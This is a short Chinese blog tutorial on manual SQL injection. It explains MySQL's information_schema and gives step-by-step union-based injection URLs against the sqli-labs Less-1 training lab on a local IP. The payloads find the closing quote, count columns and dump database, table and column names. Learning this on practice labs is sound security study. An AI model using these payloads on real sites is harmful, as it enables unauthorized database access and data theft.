SQL注入—手注基础1

sqlmap一把梭的确香,但是手注也不能不会,大佬必备,学起来。

mysql5.0以后默认有个information_schema库,里面的表储存了其他的数据库的名字、数据库里面的表名和数据表里面的字段名。

捋一下思路    库-->表-->字段-->字段内容

默认库 information_schema

该库下的表

schemata   储存其他数据库库名

tables         储存其他数据库表名

columns     储存其他数据库字段名

再次捋一下手注思路

求闭合符-->字段数-->显示位-->数据库名-->表名-->字段名-->字段内容

以单引号报错为例(sqli-labs/less-1):

http://192.168.213.135/sql/Less-1/?id=1'   报错

http://192.168.213.135/sql/Less-1/?id=1' --+  成功闭合

http://192.168.213.135/sql/Less-1/?id=1' order by 3 --+  正常

http://192.168.213.135/sql/Less-1/?id=1' order by 4--+  报错,说明字段数为3

http://192.168.213.135/sql/Less-1/?id=0' union select 1,2,3 --+ 这里将id弄成报错,不然不显示,这里可以看出,2,3位置可以显示

 

 http://192.168.213.135/sql/Less-1/?id=0' union select 1,version(),user() --+

 

 http://192.168.213.135/sql/Less-1/?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata --+  爆库名

http://192.168.213.135/sql/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+  爆表名

http://192.168.213.135/sql/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' --+  爆字段名

posted @ 2020-09-28 18:00  Ngin0x  阅读(144)  评论(0编辑  收藏  举报